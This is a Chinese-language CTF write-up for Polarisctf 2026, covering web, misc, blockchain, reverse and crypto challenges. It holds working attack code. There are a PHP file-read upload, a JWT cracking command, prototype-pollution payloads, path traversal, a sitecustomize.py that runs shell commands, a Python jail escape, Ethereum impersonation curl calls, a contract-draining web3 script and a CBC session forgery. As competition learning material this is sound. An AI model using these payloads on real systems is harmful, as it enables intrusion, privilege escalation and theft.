Polarisctf 2026 wp

很好的招新赛,学到很多知识,感谢xm的各位出题人们ovo

复现网址在CTF+平台上就可以找到

web

only real

源码中有个xmuser/123456

直接登录

dirsearch扫端口,扫到flag.php,访问即可

xmctf{xm_xxe_blind_success}

only_real_revenge

登录进去发现不能提交,f12看一下发现是前端被封了

把disabled去掉就可以正常填写了

创建一个文件写php代码,之后把拓展名改成.inc:

<?= readfile(glob("/fl*")[0]); ?>

上传的时候用bp抓包,把文件名改回php(测得文件类型检测只是在前端进行的)

同时要做个jwt伪造,hashcat爆破出来是cdef

hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ3NzI0MDV9.EdFtNQVB6KY0qnKWMEsP8aC7WSlg_VdMwDpFVfgS1B8" "1.txt"

按照路径访问即可得到flag

ez_python

merge函数将用户的JSON数据直接合并到实例对象中,我们再利用/read读取敏感文件

import requests

url = "http://5000-c35d2420-fcb3-42fd-9c4c-4ab99ae4456d.challenge.ctfplus.cn/"

payload = {
    "config": {
        "filename": "/flag"
    }
}

try:
    res1 = requests.post(f"{url}/", json=payload)

    res2 = requests.get(f"{url}/read")

except Exception as e:
    print(f"[!] 发生错误: {e}")

ezpollute

简单js原型链污染

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 

        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}
// merge合并的时候用了递归合并

因此有payload

{
  "constructor": {
    "prototype": {
      "NODE_OPTIONS": "-r /flag"
    }
  }
}
// -r参数使程序把flag当成js文件预加载

Broken Trust

开始先随便注册一个账号,拿给的uid登录

之后查看源码,发现/api/profile 可以发POST请求

bp抓个包,按照源码改一下请求头,尝试发现存在SQL注入

这样就拿到了admin的uid,直接用它重新登录

现在有了后门权限,查找一下flag

直接访问http://8080-aab1e253-3855-4835-9092-c989c0ba789d.challenge.ctfplus.cn/api/admin?action=backup&file=..//flag即可(..//是为了绕过../的过滤,同时会被解析成和../一样的功能)

Not a Node

先看前端,deploy.js 暴露了后端接口POST /api/deploy,以及 /fn/ 执行部署的函数。

枚举 __runtime,发现了两个可疑对象:_internal、_secrets

export default {
  async fetch() {
    const out = {};

    let keys = [];
    try {
      keys = Object.getOwnPropertyNames(__runtime);
      out.runtimeKeys = keys;
    } catch (e) {
      out.runtimeKeysError = e.message;
    }

    out.detail = {};
    for (const k of keys) {
      try {
        const v = __runtime[k];
        const item = { type: typeof v };

        if (v && typeof v === "object") {
          try {
            item.keys = Object.getOwnPropertyNames(v);
          } catch (e) {
            item.keysError = e.message;
          }
        }

        out.detail[k] = item;
      } catch (e) {
        out.detail[k] = { error: e.message };
      }
    }

    return new Response(JSON.stringify(out, null, 2), {
      headers: { "content-type": "application/json" }
    });
  }
}

回显有_internal里面的 read和list方法地址

利用这些,最后还有一个路径穿越读取

payload如下

export default {
  async fetch() {
    const read = __runtime._internal.lib.symbols._0x72656164;
    const b = s => Array.from(s).map(c => c.charCodeAt(0));
    return new Response(read(b("../flag")));
  }
}

Autopypy

上传的py文件可以任意写,我们利用sitecustomize的自动加载机制运行代码

py文件写成这样上传

import os,sys,subprocess
print(subprocess.getoutput('cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /app/flag.txt 2>/dev/null')) # 尝试用shell读取各种路径的flag
sys.stdout.flush();os._exit(0)

这里命名用/usr/local/lib/python3.10/site-packages/sitecustomize.py

服务器启动时会import site,顺便import这个包,代码就会在沙箱启动前执行

如图

misc

signin

首先010看一下,流量包的尾部藏了一个zip,提取出来,发现有个so_ez是没被加密的

打开发现是TLS的密钥,复制一下放到key.txt里,用wireshark打开attachment.pcapng

左上角编辑-首选项,找到TLS协议

最下面的文件使用key.txt解密即可

成功解密,发现一些http2流量,说明解密成功

尝试之后发现这里的WINDOW_UPDATE参数比较可疑(只有两种),用tshark提取

tshark -r .\attachment.pcapng -o tls.keylog_file:.\key.txt -Y "http2.window_update.window_size_increment" -T fields -e http2.window_update.window_size_increment

转换为01串得到

0101100100110010010011100110101101011010010001000100110101110111010011100111101001100111011110010101100101101010010000010111101001011010011010100100010100110010010011010011001001001101001100110100111001101010010100010011010101011001011010100110110001101101010110100110101001010101001101010100111001010100011010110111100001001101011110100101010100111101

解码一下看看

fromhex之后是乱码,这个应该是解出的结果

用这个密码打开压缩包得到flag.png,是一个二维码,但是扫不出来

010可以看到似乎有元数据,exiftool提取一下

exiftool flag.png

出现了一个提示ij%2+(i+j)%3

是二维码的掩码,mask5模式,脚本解密一下

from pathlib import Path

from PIL import Image, ImageOps
import reedsolo


BASE = Path(__file__).resolve().parent
SIZE = 37
QR_BOX = (40, 40, 410, 410)
FORMAT_POS = {
    (0, 8), (1, 8), (2, 8), (3, 8), (4, 8), (5, 8), (7, 8), (8, 8),
    (8, 7), (8, 5), (8, 4), (8, 3), (8, 2), (8, 1), (8, 0),
    (8, 36), (8, 35), (8, 34), (8, 33), (8, 32), (8, 31), (8, 30), (8, 29),
    (30, 8), (31, 8), (32, 8), (33, 8), (34, 8), (35, 8), (36, 8),
}


def reserved_cells():
    cells = set(FORMAT_POS)

    for y in range(8):
        for x in range(8):
            cells.add((y, x))
            cells.add((y, SIZE - 8 + x))
            cells.add((SIZE - 8 + y, x))

    for i in range(8, SIZE - 8):
        cells.add((6, i))
        cells.add((i, 6))

    for y in range(28, 33):
        for x in range(28, 33):
            cells.add((y, x))

    cells.add((29, 8))
    return cells


def load_matrix():
    qr = Image.open(BASE / "flag.png").convert("1").crop(QR_BOX)
    return [
        [1 if qr.getpixel((x * 10 + 5, y * 10 + 5)) == 0 else 0 for x in range(SIZE)]
        for y in range(SIZE)
    ]


def unmask(matrix, reserved):
    fixed = []
    for y, row in enumerate(matrix):
        fixed.append([
            bit if (y, x) in reserved or (y * x) % 2 + (y + x) % 3 != 0 else bit ^ 1
            for x, bit in enumerate(row)
        ])
    return fixed


def save_matrix(matrix):
    img = Image.new("1", (SIZE, SIZE), 1)
    img.putdata([0 if bit else 1 for row in matrix for bit in row])
    img = img.resize((SIZE * 10, SIZE * 10), Image.NEAREST)
    ImageOps.expand(img, border=40, fill=1).convert("L").save(BASE / "fixed_qr.png")


def extract_bits(matrix, reserved):
    bits = []
    col = SIZE - 1
    upward = True

    while col > 0:
        if col == 6:
            col -= 1

        rows = range(SIZE - 1, -1, -1) if upward else range(SIZE)
        for y in rows:
            for x in (col, col - 1):
                if (y, x) not in reserved:
                    bits.append(matrix[y][x])

        upward = not upward
        col -= 2

    return bits


def decode_text(bits):
    # Version 5-L has a single RS block: 108 data codewords + 26 ecc codewords.
    codewords = [
        int("".join(map(str, bits[i:i + 8])), 2)
        for i in range(0, 1072, 8)
    ]
    decoded = bytes(reedsolo.RSCodec(26, fcr=0, prim=0x11D, generator=2, c_exp=8).decode(bytes(codewords))[0])

    stream = "".join(f"{byte:08b}" for byte in decoded)
    length = int(stream[4:12], 2)
    payload = stream[12:12 + 8 * length]
    return bytes(int(payload[i:i + 8], 2) for i in range(0, len(payload), 8)).decode()


def main():
    reserved = reserved_cells()
    fixed = unmask(load_matrix(), reserved)
    save_matrix(fixed)
    print(decode_text(extract_bits(fixed, reserved)))


if __name__ == "__main__":
    main()

flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}

ModelMark

神奇的非预期,我终于把我训练成功了

最前面是一个sha256的验证,爆破即可

import hashlib
import itertools
import string

POW = ("WtMOlD", "0000")
prefix, target = POW[0], POW[1]
chars = string.ascii_letters + string.digits

for n in range(1, 9):
    for x in map("".join, itertools.product(chars, repeat=n)):
        if hashlib.sha256((prefix + x).encode()).hexdigest().startswith(target):
            print(f"x = {x}")
            exit()

print("not found")

# 这里改POW的第一个参数即可,注意改的时候手速要快,否则会超时

之后需要每8s内判断一个对话是哪个ai生成的,8题就可以获得flag

题目本身给了训练数据的附件,看来是想让我们写机器学习的脚本

这里非预期的点在于可以训练CTFer本人而非训练程序(

直接把数据喂给LLM,让他给我们提取特征;因为答错连接不会断开,我们也可以直接刷题强化学习

有标签的肯定是ds,之后就是训练出做题的感觉,并且参考一下提取的特征

试了大概10分钟就成功了

训练成功,springbot!

WhoRU?

直接在GitHub上搜索整个源码是肯定搜不到的,比较直接的一个策略就是搜索源码的”特征片段“。

第一关

java源码中有一个特定的报错提示,直接在GitHub搜索即可得到

alibaba_nacos

第二关

是一个cpp文件,先搜比较明显的类名(StreamStateAnalyzer等),发现没有,说明类名和方法名可能都被修改过,因此必须转向搜索具体算法实现(简单来说,搜索数字和符号多的代码块)

比如crc32inv(zlist[i], 0) ^ zlist[i - 1]) >> 8,y7_8_24 < 1 << 24; y7_8_24 += 1 << 8等都可以搜出来

kimci86_bkcrack

第三关

定位到几个比较特殊的名称

直接搜就可以

akverma26_voting-system-using-block-chain

有没有一种很熟悉的感觉,好像做图寻也是类似这样做的..(?

实际上,搜索“特征信息“便是osint(开源情报搜集)的重要方法之一

ez_pyjail

题目给了很短的源码

def run_jail(x):
    eval(x, {'__builtins__':{}}, {'__builtins__':{}})
# 把globals和locals都设置为空字典
x = input()
assert ascii(x)[1:-1] != x.replace("__","")[:105], run_jail(x) 

最后一行是沙箱运行的条件:“!=” 后面强制删去x中的双下划线,并截取前105字符

当assert断言失败时,沙箱才会执行,因此不等式两边必须相等

故x必须满足:无双下划线和不能超过105字符

这时比较常用的逃逸手法,比如 ().__class__,就难以使用了

我们制造一个b生成器并强制运行行,连续调用3次f_back产生栈回溯,跳出沙箱,到达全局环境

(lambda:(b:=[*(g:=(g.gi_frame.f_back.f_back.f_back for _ in[0]))][0].f_builtins)["exec"](b["input"]()))()

这里获得了input()权限,直接读flag就行

b["print"](b["open"]("/flag").read()) # 利用获得的b中的函数读取flag

Blockchain

区块链!

秘密交易

唯一偏misc的一题

etherscan——以太坊的交易记录网站

由于区块链的特性,每一笔交易都会被记录,且不能篡改,我们可以查询每一笔想要了解的记录

sepolia则是专门用于测试的交易记录网站

我们查看一下题目给的账户地址,发现只有一笔转入记录

因此我们看转入的账户,这下发现了很多转账

这里每笔交易都有一个对应的哈希值,我们点击查询,翻到底部-click more-查看input data(这是交易查询题常见的信息隐藏地点)

可以看到,转换成UTF-8之后,后面有一段神秘提示

P-level Technician No. 16 will serve you for 32 minutes

我们如此查询其他可疑的记录,一共发现了这些文本:

I want to wash my foot
I am weljoni
I am Aomr
z3ghxxx want girl's wechat
Do you want to wash with me
key:do_you_know_S_P_and_xor_????!!!!
hex_enc:2d8d1617fcf9223f0dd274dd58cf7d0cc5504a8310bdc5dc2572251ed2d069c3
P-level Technician No. 16 will serve you for 32 minutes
S-level Technician No. 42 will serve you for 256 minutes
least 3.5
new tea
3
How is it sold?
yep
is here?
I am Customer Service No. 1. Customers can ask me if they have any questions.
Hello customer, there is a newcomer today.

去除一些干扰选项,我们留下了四个重要内容

key:do_you_know_S_P_and_xor_????!!!!
hex_enc:2d8d1617fcf9223f0dd274dd58cf7d0cc5504a8310bdc5dc2572251ed2d069c3
P-level Technician No. 16 will serve you for 32 minutes
S-level Technician No. 42 will serve you for 256 minutes

key中提示我们S_P和xor是加密方式,同时key也是xor的key

S盒和P盒的随机种子是16和42,分块大小是32和256

解密一次发现不够,根据least 3.5猜出是循环4次解密

import random

hex_enc = "2d8d1617fcf9223f0dd274dd58cf7d0cc5504a8310bdc5dc2572251ed2d069c3"
key = b"do_you_know_S_P_and_xor_????!!!!"

# S盒
random.seed(42)
s_box = list(range(256))
random.shuffle(s_box)
s_inv = [0] * 256
for i, v in enumerate(s_box):
    s_inv[v] = i

# P盒
random.seed(16)
p_box = list(range(32))
random.shuffle(p_box)
p_inv = [0] * 32
for i, v in enumerate(p_box):
    p_inv[v] = i

# 循环4次 S+P+xor
state = list(bytes.fromhex(hex_enc))
for _ in range(4):
    state = [s_inv[b] for b in state]
    state = [state[p_inv[i]] for i in range(32)]
    state = [state[i] ^ key[i] for i in range(32)]

print(bytes(state).decode())

# xmctf{Bl0ckCha1n_Tr4ce_Cha1nR4y}

抄作业

题目提示有个/rpc接口,用POST请求,bp发个包

得到一串hex,不知道是什么?丢给ai看看

那我们直接用在线网站反编译一下,嫌麻烦也可以直接丢给ai

有两个重要函数:

  • 0x5e36bdc6
  • 0xaab2fcd2

反编译后大概如下

pragma solidity ^0.8.20; # solidity版本是0.8.20

contract Challenge {
    mapping(address => bool) public solved;

    function check(address a) external view returns (bool) {
        return solved[a];
    }

    function solve(uint256 a, uint256 b, uint256 c) external {
        require(a * b == c, "wrong");
        solved[msg.sender] = true;
    }
}

比较重要的是solve方法的逻辑,检查传入的三个数a,b,c是否满足a * b == c,那么我们直接传1,1,1即可

这里采用remix+metamask

利用remix环境,先在metamask插件中连接上容器/rpc网络(链31337,ETH),导入私钥账号,再用私钥导入

由于部署合约的源码没给,我们不知道函数名,只能直接利用字节码调用合约里的函数

方法一:利用remix的前端进行交互

remix中Deploy & run transactions,环境使用新版的Browser Extension-Metamask,链接上我们的metamask钱包

之后点击Add Contract,输入题目给的目标合约地址

使用Low level ineraction,输入字节码,Transact

不过没成功,似乎调用函数时失败了

metamask改版后不知道抽什么风,有人能解决下图中的问题吗

方法二:直接用console运行js

ethereum.request({
  method: 'eth_sendTransaction',
  params: [{
    from: '0x27869891CD514b254855632776Cd2D32f0c6e0C7',
    to: '0x75537828f2ce51be7289709686A69CbFDbB714F1',
    data: '0xaab2fcd2000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001'
  }]
}).then(console.log).catch(console.error)

// 这里发送一段字节码调用函数

发送成功后,回到容器界面查询一下交易即可

口算私钥

先看看源码

pragma solidity 0.8.20;

contract Challange {

    bool public isSolve;
    address public owner;

    constructor(address _owner){
        owner = _owner;
        isSolve = false;
    }

    function solve() public {
        require(msg.sender == owner,"Not Owner");
        isSolve = true;
    }
}

重要的条件是msg.sender == owner,必须要让函数判断调用合约的是owner

这里获取/rpc的anvil_impersonateAccount有个漏洞,可以伪装成任意地址发送操作,那么我们并不需要获取私钥,只需要利用漏洞伪造身份即可

curl <题目url/rpc> -X POST -H "Content-Type: application/json" -d '{
    "jsonrpc":"2.0",
    "method":"anvil_impersonateAccount",
    "params":["0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"],
    "id":1
  }'

这一步是伪装身份,之后直接用这个身份进行交易

curl <题目url/rpc> -X POST -H "Content-Type: application/json" -d '{
    "jsonrpc":"2.0",
    "method":"eth_sendTransaction",
    "params":[{
      "from":"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934",
      "to":"0x75537828f2ce51be7289709686A69CbFDbB714F1",
      "data":"0x890d6908"
    }],
    "id":1
  }'

check solution即可

Wrapped Ether

通过条件:Setup.isSolved()中要求 address(weth).balance == 0,即把WETH合约中的ETH清空

而Setup.sol中给合约存了10ETH左右

rpc中还是开放了anvil_impersonateAccount,我们可以伪装成setup,利用transfer函数的弱校验,将钱转给challenge合约,最后调用withdraw转出

这里用pythonweb3完成操作,也可以remix(等我有时间复现一下)

import argparse

import requests
from web3 import Web3


def rpc(rpc_url: str, method: str, params=None):
    if params is None:
        params = []
    r = requests.post(
        rpc_url,
        json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
        timeout=12,
    ).json()
    if "error" in r:
        raise RuntimeError(f"{method}: {r['error']}")
    return r["result"]


def pad32_no0x(s: str) -> str:
    return s.rjust(64, "0")


def data_transfer(to: str, amount: int) -> str:
    # transfer(address,uint256)
    return "0xa9059cbb" + pad32_no0x(to[2:].lower()) + pad32_no0x(hex(amount)[2:])


def data_withdraw(amount: int) -> str:
    # withdraw(uint256)
    return "0x2e1a7d4d" + pad32_no0x(hex(amount)[2:])


def data_balance_of(addr: str) -> str:
    # balanceOf(address)
    return "0x70a08231" + pad32_no0x(addr[2:].lower())


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="e.g. http://xxx.challenge.ctfplus.cn")
    args = parser.parse_args()

    base = args.base.rstrip("/")
    rpc_url = f"{base}/rpc"

    deposit_topic = Web3.keccak(text="Deposit(address,uint256)").hex()
    logs = rpc(
        rpc_url,
        "eth_getLogs",
        [
            {
                "fromBlock": "0x0",
                "toBlock": "latest",
                "topics": [deposit_topic],
            }
        ],
    )
    if not logs:
        raise RuntimeError("no Deposit logs found")

    # First Deposit is Setup constructor funding.
    target = Web3.to_checksum_address(logs[0]["address"])
    setup = Web3.to_checksum_address("0x" + logs[0]["topics"][1][-40:])
    amount = int(logs[0]["data"], 16)

    # challenger() getter selector
    sel_challenger = Web3.keccak(text="challenger()").hex()[:10]
    raw = rpc(rpc_url, "eth_call", [{"to": target, "data": sel_challenger}, "latest"])
    challenger = Web3.to_checksum_address("0x" + raw[-40:])

    rpc(rpc_url, "anvil_impersonateAccount", [setup])
    rpc(rpc_url, "anvil_impersonateAccount", [challenger])
    rpc(rpc_url, "anvil_setBalance", [setup, hex(Web3.to_wei(2, "ether"))])

    tx1 = rpc(
        rpc_url,
        "eth_sendTransaction",
        [{"from": setup, "to": target, "data": data_transfer(challenger, amount)}],
    )

    bal = int(
        rpc(rpc_url, "eth_call", [{"to": target, "data": data_balance_of(challenger)}, "latest"]),
        16,
    )
    tx2 = rpc(
        rpc_url,
        "eth_sendTransaction",
        [{"from": challenger, "to": target, "data": data_withdraw(bal)}],
    )

    left = int(rpc(rpc_url, "eth_getBalance", [target, "latest"]), 16)
    ans = requests.post(f"{base}/api/solve", json={}, timeout=12).json()

    print(f"[+] target={target}")
    print(f"[+] challenger={challenger}")
    print(f"[+] setup={setup}")
    print(f"[+] amount={Web3.from_wei(amount, 'ether')} ETH")
    print(f"[+] challenger_weth={Web3.from_wei(bal, 'ether')} ETH")
    print(f"[+] tx transfer={tx1}")
    print(f"[+] tx withdraw={tx2}")
    print(f"[+] target ETH left={Web3.from_wei(left, 'ether')} ETH")
    print(f"[+] solved={ans.get('solved')}")
    if ans.get("flag"):
        print(f"[+] flag: {ans['flag']}")


if __name__ == "__main__":
    main()

Reverse

ezFinger

STM32的题

题目给的是 STM32F429 的裸 bin 固件,导入 IDA 时选择 ARM little-endian,并把基址手动设为 0x08000000。

然后分别跳转到 0x08003498 和 0x08000EC0 做静态分析:

前者函数内部会读取 RCC 相关寄存器(CFGR/PLLCFGR),根据时钟源分支并进行分频倍频计算,且出现典型 64 位除法流程,行为特征与 HAL_RCC_GetSysClockFreq 完全吻合。

0x08000EC0 则是先通过 pin 映射表把逻辑引脚转成端口与位,再根据第二个参数(0/1)写入对应 GPIO 寄存器完成拉高/拉低,这与 digitalWrite 语义一致。

对照常见名可确定两处函数名分别为 HAL_RCC_GetSysClockFreq 和 digitalWrite

xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

移动的秘密

题目是一个 64 位 ELF 程序。先用 IDA 看字符串和交叉引用,可以定位到主逻辑在 main 附近。程序先输出提示并读取最多 29 字节输入。

第一层校验是循环把输入每个字节右移一位(input[i] >> 1),再和 .rodata 里的 29 字节常量比较。这个校验只能确定每个字符的高 7 位,最低位丢失,所以每一位有两种可能。

第二层校验是对原始输入做 MD5,然后和程序内置的 16 字节摘要比较。也就是说需要在第一层得到的“半确定字符串”基础上,恢复 29 个最低位,使 MD5 命中目标摘要。

# solve_move_secret.py
import hashlib

cmp_shift = bytes.fromhex(
    "3c 36 31 3a 33 3d 3b 32 36 31 18 36 32 2f 19 2f 38 37 36 30 39 18 39 2f 18 18 19 19 3e"
)

md5_target = bytes.fromhex(
    "3a 22 c0 98 71 00 19 b3 1c 32 8a 86 14 29 d3 ad"
)

# 爆破得到的 29bit 低位掩码
mask = 0x11EABAE6

# 先恢复高7位(左移1)
base = bytes(((b << 1) & 0xFF) for b in cmp_shift)

# 按 bitmask 补回每个字符最低位
msg = bytes(base[i] | ((mask >> i) & 1) for i in range(29))

# 校验
assert hashlib.md5(msg).digest() == md5_target

print(msg.decode("ascii"))

# xmctf{welc0me_2_polar1s_1022}

Illusion

main函数里的是假flag(xmctf{nev_gona_letydown\x07}),真flag在sub_1400010F0逻辑里,一个简单的AES解密

from Crypto.Cipher import AES

key = bytes.fromhex(
    "12 34 12 34 12 34 12 34 12 34 12 34 41 45 53 21"
)

ct = bytes.fromhex(
    "F2 7B 7E 75 B4 5C 08 FA 19 3C 8A 4A 04 F8 1F 67 "
    "1B 05 9C E7 27 40 78 6D 28 F6 A8 B8 06 C6 C5 51"
)

pt = AES.new(key, AES.MODE_ECB).decrypt(ct)

pad = pt[-1]
msg = pt[:-pad].decode("ascii")

print("flag :", f"xmctf{{{msg}}}")

# xmctf{R3a1_w0rld_M47ters}

Crypto

神秘学

rsa,解线性方程组,算出a,b,最后暴力枚举求解k即可(甚至是最简单的质数筛)

from Crypto.Util.number import long_to_bytes

n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473

rhs = 3 * x1 * x1 - deriv1_num
two_a = (rhs + x1 - 1) // x1  
a = two_a // 2
b = two_a * x1 - rhs

expr = x1**3 - a*x1**2 + b*x1

def is_prime(x): 
    if x < 2:
        return False
    i = 2
    while i * i <= x:
        if x % i == 0:
            return False
        i += 1
    return True

for k in range(2, 256):
    if not is_prime(k):
        continue
    c = expr - k * n
    if c <= 0:
        continue
    m = pow(cipher, c, n)
    pt = long_to_bytes(m)
    if b"xmctf{" in pt.lower():
        print("pt =", pt.decode())

# xmctf{e6d787beb9230217e692e130f718cdeb}

ECC

利用y2=(y+c/2),x2=(x-r)的结构,得到y2 ** 2=x2 ** 3

from Crypto.Util.number import long_to_bytes

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
a = 0
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617
G = ( 1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009
)
P = (  9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694
)

r = (-2078489210550116346878841773482243176661854316474483127656538295705661082842564624182269579170791972324694913964142893932979263618624176175467912680302831) % p

inv2 = pow(2, -1, p)

def phi(Q):
    x, y = Q
    X = (x - r) % p
    Y = (y + c * inv2) % p
    return X * pow(Y, -1, p) % p

m = phi(P) * pow(phi(G), -1, p) % p

print(long_to_bytes(m).decode('utf-8'))

# xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}

ez_login

POST /login 发送空表单(username/password 都是 None),拿到合法 session,发现是一个CBC模式加密

把None改成admin即可

SRC_SESSION = "e82975bb1265e045877cb80f67c70fa3d83f04295ba4cff150e38ce7bc600f2c"
P_OLD = b"user=None" + b"\x07" * 7
P_NEW = b"user=admin" + b"\x06" * 6


def forge_admin_session(src_session_hex: str) -> str:
    data = bytes.fromhex(src_session_hex)
    iv, c1 = data[:16], data[16:32]
    iv_new = bytes(a ^ b ^ c for a, b, c in zip(iv, P_OLD, P_NEW))
    return (iv_new + c1).hex()


def main() -> None:
    admin_session = forge_admin_session(SRC_SESSION)
    print(f"raw_session={SRC_SESSION}")
    print(f"admin_session={admin_session}")


if __name__ == "__main__":
    main()

然后再传入Cookie中的session即可

如果有不明白的欢迎在评论区提问

评论

  1. Auspiow
    2 周前
    2026-3-30 22:19:53

    都不懂

  2. ev3l
    2 周前
    2026-3-31 16:39:10

    大佬能分享一下你爆破jwt密钥的字典吗?跪求

  3. joke
    6 天前
    2026-4-05 21:40:18

    吓哭了

    • 博主
      joke
      4 天前
      2026-4-07 18:55:37

      吓哭了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇